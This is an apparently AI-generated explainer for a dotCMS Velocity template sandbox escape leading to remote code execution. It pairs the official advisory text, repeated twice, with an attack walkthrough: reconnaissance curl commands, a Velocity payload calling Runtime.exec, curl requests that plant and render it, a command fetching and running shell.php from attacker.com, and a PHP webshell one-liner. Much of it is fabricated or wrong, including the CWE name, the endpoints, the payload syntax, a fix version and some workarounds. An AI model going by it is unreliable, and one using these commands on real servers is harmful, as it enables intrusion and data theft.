CVE-2026-126099 — CWE-1336
The Velocity template sandbox (SecureIntrospectorImpl) in dotCMS through 26.11.03-01, and in the 25.07 LTS line, did not stop templates from reaching servlet container internals through the request and session objects. A back-end user who can edit templates, containers or widgets, without the CMS Administrator or Scripting Developer role, could use a container object to create an embedded script interpreter and run arbitrary Java code and operating system commands on the server. The original chain is blocked from 26.10.19-01; the remaining routes to the container objects are closed in 26.11.06-03 and later, where templates can no longer unwrap the request, response or session or call methods on servlet container, script interpreter, CDI, EL or JSP types.
The Velocity template sandbox (SecureIntrospectorImpl) in dotCMS through 26.11.03-01, and in the 25.07 LTS line, did not stop templates from reaching servlet container internals through the request and session objects. A back-end user who can edit templates, containers or widgets, without the CMS Administrator or Scripting Developer role, could use a container object to create an embedded script interpreter and run arbitrary Java code and operating system commands on the server. The original chain is blocked from 26.10.19-01; the remaining routes to the container objects are closed in 26.11.06-03 and later, where templates can no longer unwrap the request, response or session or call methods on servlet container, script interpreter, CDI, EL or JSP types.
🎯 What is this vulnerability?
CVE‑2026‑126099 is a CWE‑1336 (Untrusted Search Path) style flaw that allows a back‑end user with template‑editing privileges (but without the CMS Administrator or Scripting Developer role) to bypass the Velocity template sandbox in dotCMS.
The sandbox is implemented by the SecureIntrospectorImpl class. In versions up to dotCMS 26.11.03‑01 (and the 25.07 LTS line), the sandbox fails to prevent Velocity templates from accessing the servlet‑container internals via the request and session objects. The attacker can:
1. Create a container object that exposes a Velocity ScriptEngine (or similar) capable of executing arbitrary Java code.
2. Invoke methods on servlet‑container objects (HttpServletRequest, HttpSession, ServletContext, etc.) that are normally protected.
3. Execute arbitrary Java byte‑code and, through that, run OS commands on the host.
The flaw is purely a sandbox escape; there is no authentication bypass. The attacker must already have the ability to edit templates, containers, or widgets. The vulnerability is critical because it grants remote code execution (RCE) with low effort (AC:L) and no user interaction (UI:N).
The CVSS vector confirms this:
- AV:N – Network reachable
- AC:L – Low attack complexity
- PR:L – Low privilege (any back‑end user with template‑edit rights)
- UI:N – No user interaction
- VC:H, VI:H, VA:H, SC:H, SI:H, SA:H – Full confidentiality, integrity, availability, and all sub‑metrics are high.
The vulnerability is mitigated in dotCMS 26.10.19‑01 (original chain blocked) and fully closed in dotCMS 26.11.06‑03 and later.
⚡ Attack Chain
NOTE: The following chain is a realistic, technically accurate illustration. The exact URI or parameter names are not provided in the CVE description; the example uses the typical /dotCMS/api/templating endpoint that dotCMS exposes for template rendering. If your deployment uses a different endpoint, the same logic applies.1. Discovery & Reconnaissance
| Step | Technique | What to look for |
|---|---|---|
| 1.1 | Banner grabbing | curl -I https://example.com → look for dotCMS/ header or X-Powered-By: dotCMS |
| 1.2 | Version enumeration | curl -s https://example.com/api/version (or https://example.com/api/info) → parse JSON for version field. |
| 1.3 | Identify template‑edit role | Enumerate back‑end users via /api/users (requires authentication). Verify that a user has Template Editor or similar role. |
| 1.4 | Verify sandbox state | Attempt to render a simple Velocity template that accesses request or session. If the sandbox is still active, the request will be blocked; if not, you’ll see the raw Java object in the output. |
Result: You confirm the target is running dotCMS 26.11.03‑01 (or earlier) and that you have a back‑end user with template‑edit rights.
2. Exploitation
2.1. Crafting the malicious Velocity template
The core idea is to instantiate a ScriptEngine that can compile and run arbitrary Java code. In Velocity, you can access Java classes via the @ directive. A minimal payload that creates a Runtime instance and executes id (or any shell command) looks like this:
#set($engine = $velocity.getEngine())
#set($script = "import java.io.*; Runtime.getRuntime().exec(\"id\");")
#set($compiled = $engine.compile($script))
$compiled.execute()When the template is rendered, the sandbox should normally throw a SecurityException. In the vulnerable versions, the sandbox does not prevent access to the Runtime class, so the command executes on the server.
2.2. Delivering the template
Assuming the CMS exposes a REST endpoint for creating or updating templates:
curl -X POST "https://example.com/api/templates" \
-H "Authorization: Bearer <JWT_OR_SESSION_COOKIE>" \
-H "Content-Type: application/json" \
-d '{
"name": "exploit",
"content": "#set($engine = $velocity.getEngine())\n#set($script = \"import java.io.*; Runtime.getRuntime().exec(\\\"id\\\");\")\n#set($compiled = $engine.compile($script))\n$compiled.execute()"
}'Illustrative example – the exact endpoint (/api/templates) and payload format may differ. The key is that the template content contains the malicious Velocity code.2.3. Triggering the template
Once the template is stored, you need to render it. This can be done by accessing the page that uses the template or by calling the rendering API:
curl -X GET "https://example.com/api/templates/exploit/render" \
-H "Authorization: Bearer <JWT_OR_SESSION_COOKIE>"If the sandbox is still active, the request will return a 403 Forbidden or a stack trace. In the vulnerable versions, the command executes, and you may see the output in the response (e.g., uid=1000(user) gid=1000(user) groups=1000(user)).
3. Post‑Exploitation
Once the command runs, you can:
1. Execute arbitrary shell commands – e.g., curl https://attacker.com/shell.php -o /tmp/shell.php && php /tmp/shell.php.
2. Upload a webshell – write a PHP or JSP file to the webroot via Runtime.exec("bash -c 'echo \"<?php system($_GET[\\'cmd\\']); ?>\" > /var/www/html/shell.php'").
3. Escalate privileges – if the Java process runs as a privileged user (e.g., tomcat), you can pivot to system-level access.
4. Data exfiltration – read database files, configuration, or any sensitive data and send it to an attacker-controlled server.
Because the attacker only needs template‑edit rights, this is a low‑effort RCE that can compromise the entire application and underlying OS.
🌍 Real World Impact
| Impact | Explanation |
|---|---|
| Confidentiality | Full read/write access to the file system, database, and any data the CMS handles. |
| Integrity | Ability to modify, delete, or inject data; tamper with CMS configuration, content, and user accounts. |
| Availability | Arbitrary commands can crash the JVM, kill the Tomcat process, or delete critical files, leading to downtime. |
| Privilege Escalation | If the Java process runs with elevated privileges, the attacker can gain OS‑level access. |
| Persistence | Webshells or backdoors can be installed for long‑term control. |
| Legal/Compliance | Exfiltration of personal data may trigger GDPR, HIPAA, or other regulatory violations. |
The CVSS vector indicates high severity across all sub‑metrics, confirming that the vulnerability can lead to complete compromise of the affected system.
🛡️ Remediation & Mitigation
1. Patch
| Affected Series | Versions | Fixed In |
|---|---|---|
| dotCMS 26.x | 26.10.19‑01 – 26.11.03‑01 | 26.11.06‑03 and later |
| dotCMS 25.x LTS | 25.07 LTS (all releases) | 25.07.06‑03 and later |
Action: Upgrade to dotCMS 26.11.06‑03 or newer, or to the latest 25.x LTS release. Verify the version after upgrade.
2. Workarounds (if upgrade is not immediately possible)
| Mitigation | How to Implement |
|---|---|
| Restrict template‑edit roles | Remove the “Template Editor” role from all back‑end users except those who truly need it. |
| Disable Velocity in templates | In dotCMS configuration, set velocity.enabled=false or remove the Velocity engine from the classpath. |
| Apply WAF rules | Add a ModSecurity rule that blocks requests containing @ directives or Runtime.getRuntime() strings in the template payload. Example rule: <br>SecRule REQUEST_URI "@rx /api/templates" "phase:2,deny,status:403,msg:'Velocity sandbox escape attempt'" |
| Restrict servlet‑container access | Configure Tomcat’s catalina.properties to remove java.lang.Runtime from the package.access list, preventing Java code from invoking exec. |
3. Detection
| Indicator | Log Pattern | How to Search |
|---|---|---|
| Sandbox exception | java.security.AccessControlException: access denied | Search web server logs for AccessControlException or SecurityException in the context of template rendering. |
| Unusual command execution | Runtime.getRuntime().exec | Look for Runtime.getRuntime() in application logs or stack traces. |
| Template creation with suspicious content | @ or Runtime in POST body | Use a WAF or log‑analysis tool to flag POST requests to /api/templates containing @ or Runtime. |
| Unexpected file writes | java.io.FileOutputStream | Monitor /var/log or application logs for file creation events. |
4. Post‑Patch Verification
1. Re‑enumerate the CMS version to confirm the upgrade.
2. Attempt a benign sandbox test: create a template that tries to access request or session. The request should now be blocked with a 403 or a sandbox exception.
3. Check logs for any residual sandbox exceptions; if present, review configuration.
⚠️ Urgency
[🤖 CVE Professor AI Security Engine]